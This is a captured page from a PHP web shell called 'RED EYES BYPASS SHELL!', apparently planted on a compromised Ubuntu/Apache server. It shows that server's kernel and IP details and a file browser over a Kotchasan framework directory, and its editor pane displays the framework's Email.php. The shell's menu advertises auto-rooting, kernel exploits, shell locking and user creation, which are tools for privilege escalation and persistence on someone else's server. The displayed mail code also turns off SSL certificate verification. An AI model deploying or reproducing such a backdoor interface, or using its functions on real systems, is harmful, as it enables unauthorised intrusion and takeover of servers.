Linux sothorn202 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 202.28.82.202 | : 216.73.216.9
pkexec version 0.105
Cant Read [ /etc/named.conf ]
iqtd
RED EYES BYPASS SHELL!
Terminal
Auto Root
Adminer
Backdoor Destroyer
Kernel Exploit
Lock Shell
Lock File
Create User
+ Create Folder
+ Create File
/
home /
lifelonglearn /
commert /
accout /
Kotchasan /
[ HOME SHELL ]
NAME
SIZE
PERMISSION
ACTION
Cache
[ DIR ]
drwxr-xr-x
Database
[ DIR ]
drwxr-xr-x
Http
[ DIR ]
drwxr-xr-x
Log
[ DIR ]
drwxr-xr-x
Orm
[ DIR ]
drwxr-xr-x
PHPMailer
[ DIR ]
drwxr-xr-x
Psr
[ DIR ]
drwxr-xr-x
Accordion.php
2.59
KB
-rwxr-xr-x
ApiController.php
5.59
KB
-rwxr-xr-x
ApiException.php
431
B
-rwxr-xr-x
ArrayTool.php
16.99
KB
-rwxr-xr-x
CKEditor.php
5.5
KB
-rwxr-xr-x
Collection.php
4.73
KB
-rwxr-xr-x
Config.php
8.7
KB
-rwxr-xr-x
Controller.php
512
B
-rwxr-xr-x
Country.php
31.94
KB
-rwxr-xr-x
Csv.php
9.82
KB
-rwxr-xr-x
Curl.php
8.35
KB
-rwxr-xr-x
Currency.php
12.71
KB
-rwxr-xr-x
DOMNode.php
6.07
KB
-rwxr-xr-x
DOMParser.php
6.58
KB
-rwxr-xr-x
DataTable.php
50.94
KB
-rwxr-xr-x
Database.php
3.26
KB
-rwxr-xr-x
Date.php
8.26
KB
-rwxr-xr-x
Email.php
7.12
KB
-rwxr-xr-x
File.php
4.52
KB
-rwxr-xr-x
Files.php
3.05
KB
-rwxr-xr-x
Form.php
36.01
KB
-rwxr-xr-x
Grid.php
1.02
KB
-rwxr-xr-x
Html.php
21.1
KB
-rwxr-xr-x
HtmlTable.php
6.97
KB
-rwxr-xr-x
Htmldoc.php
4.37
KB
-rwxr-xr-x
Image.php
13.58
KB
-rwxr-xr-x
InputItem.php
20.1
KB
-rwxr-xr-x
InputItemException.php
449
B
-rwxr-xr-x
Inputs.php
4.29
KB
-rwxr-xr-x
KBase.php
561
B
-rwxr-xr-x
Kotchasan.php
2.73
KB
-rwxr-xr-x
Language.php
18.22
KB
-rwxr-xr-x
ListItem.php
7.77
KB
-rwxr-xr-x
Login.php
9.3
KB
-rwxr-xr-x
Menu.php
2.92
KB
-rwxr-xr-x
Mime.php
51.18
KB
-rwxr-xr-x
Model.php
1.31
KB
-rwxr-xr-x
Number.php
2.64
KB
-rwxr-xr-x
ObjectTool.php
3.73
KB
-rwxr-xr-x
Password.php
2.97
KB
-rwxr-xr-x
Pdf.php
43.15
KB
-rwxr-xr-x
Province.php
11.71
KB
-rwxr-xr-x
Router.php
5.45
KB
-rwxr-xr-x
Session.php
2.22
KB
-rwxr-xr-x
Singleton.php
1.3
KB
-rwxr-xr-x
Tab.php
3.72
KB
-rwxr-xr-x
Template.php
8.37
KB
-rwxr-xr-x
Text.php
12.89
KB
-rwxr-xr-x
Validator.php
2.7
KB
-rwxr-xr-x
View.php
8.16
KB
-rwxr-xr-x
Xls.php
3.04
KB
-rwxr-xr-x
load.php
15.54
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Email.php
<?php /** * @filesource Kotchasan/Email.php * * @copyright 2016 Goragod.com * @license https://www.kotchasan.com/license/ * * @see https://www.kotchasan.com/ */ namespace Kotchasan; /** * Email function * * @author Goragod Wiriya <admin@goragod.com> * * @since 1.0 */ class Email extends \Kotchasan\KBase { /** * @var mixed */ protected $error; /** * ตรวจสอบว่ามีข้อผิดพลาดในการส่งอีเมลหรือไม่ * คืนค่า true ถ้ามี error, false ถ้าส่งอีเมลสำเร็จ * * @return bool */ public function error() { return empty($this->error) ? false : true; } /** * คืนค่าข้อผิดพลาดการส่งอีเมล * ถ้าไม่มีข้อผิดพลาดคืนค่าข้อความว่าง * * @return string */ public function getErrorMessage() { return empty($this->error) ? '' : implode("\n", $this->error); } /** * ฟังก์ชั่นส่งเมล์แบบกำหนดรายละเอียดเอง * * @param string $mailto ที่อยู่อีเมลผู้รับ User Name<email@domain.tld> หรือ email@domain.tld คั่นแต่ละรายการด้วย , * @param string $replyto ที่อยู่อีเมลสำหรับการตอบกลับจดหมาย ถ้าระบุเป็นค่าว่างจะใช้ที่อยู่อีเมลจาก noreply_email * @param string $subject หัวข้อจดหมาย * @param string $msg รายละเอียดของจดหมาย (รองรับ HTML) * @param string $cc ที่อยู่อีเมล์สำหรับ ส่งแบบ CC คั่นแต่ละรายการด้วย , * @param string $bcc ที่อยู่อีเมล์สำหรับ ส่งแบบ BCC คั่นแต่ละรายการด้วย , * * @return \static */ public static function send($mailto, $replyto, $subject, $msg, $cc = '', $bcc = '') { // create class $obj = new static(); $obj->error = array(); // send email $charset = empty(self::$cfg->email_charset) ? 'utf-8' : strtolower(self::$cfg->email_charset); if (empty($replyto)) { $replyto = array(strip_tags(self::$cfg->web_title), self::$cfg->noreply_email); } elseif (preg_match('/^(.*)<(.*?)>$/', $replyto, $match)) { $replyto = array(strip_tags($match[1]), (empty($match[2]) ? $match[1] : $match[2])); } else { $replyto = array($replyto, $replyto); } if ($charset != 'utf-8') { $subject = iconv('utf-8', $charset, $subject); $msg = iconv('utf-8', $charset, $msg); $replyto[0] = iconv('utf-8', $charset, $replyto[0]); } $msg = preg_replace(array('/<\?/', '/\?>/'), array('<?', '?>'), $msg); if (empty(self::$cfg->email_use_phpMailer)) { // ส่งอีเมลด้วยฟังก์ชั่นของ PHP $emails = array($mailto); if ($cc != '') { $emails[] = $cc; } if ($bcc != '') { $emails[] = $bcc; } $headers = "MIME-Version: 1.0\r\n"; $headers .= 'Content-type: text/html; charset='.strtoupper($charset)."\r\n"; $headers .= 'From: '.$replyto[0]."\r\n"; $headers .= "Reply-to: $replyto[1]\r\n"; if (!@mail(implode(',', $emails), $subject, $msg, $headers)) { $obj->error['Unable to send mail'] = Language::get('Unable to send mail'); } } else { // ส่งอีเมลด้วย PHPMailer include_once VENDOR_DIR.'PHPMailer/class.phpmailer.php'; // Create a new PHPMailer instance $mail = new \PHPMailer(); if (self::$cfg->email_use_phpMailer == 1) { // Send messages using SMTP $mail->isSMTP(); } else { // Send messages using PHP's mail() function $mail->isMail(); } // charset $mail->CharSet = $charset; // use html $mail->IsHTML(); $mail->SMTPAuth = empty(self::$cfg->email_SMTPAuth) ? false : true; if ($mail->SMTPAuth) { $mail->Username = self::$cfg->email_Username; $mail->Password = self::$cfg->email_Password; $mail->SMTPSecure = self::$cfg->email_SMTPSecure; } if (!empty(self::$cfg->email_Host)) { $mail->Host = self::$cfg->email_Host; } if (!empty(self::$cfg->email_Port)) { $mail->Port = self::$cfg->email_Port; } $mail->SMTPOptions = array( 'ssl' => array( 'verify_peer' => false, 'verify_peer_name' => false, 'allow_self_signed' => true ) ); $mail->AddReplyTo($replyto[1], $replyto[0]); if ($mail->ValidateAddress(self::$cfg->noreply_email)) { $mail->SetFrom(self::$cfg->noreply_email, strip_tags(self::$cfg->web_title)); } // subject $mail->Subject = $subject; // message $mail->MsgHTML(preg_replace('/(<br([\s\/]{0,})>)/', "$1\r\n", $msg)); $mail->AltBody = strip_tags($msg); foreach (explode(',', $mailto) as $email) { if (preg_match('/^(.*)<(.*)>$/', $email, $match)) { if ($mail->validateAddress($match[2])) { $mail->addAddress($match[2], strip_tags($match[1])); } } elseif ($mail->validateAddress($email)) { $mail->addAddress($email); } if ($cc != '') { foreach (explode(',', $cc) as $cc_email) { if ($mail->validateAddress($cc_email)) { $mail->addCC($cc_email); } } } if ($bcc != '') { foreach (explode(',', $bcc) as $bcc_email) { if ($mail->validateAddress($bcc_email)) { $mail->addBCC($bcc_email); } } } $err = $mail->send(); if ($err === false) { $obj->error[$mail->ErrorInfo] = strip_tags($mail->ErrorInfo); } $mail->clearAddresses(); } } return $obj; } }
Close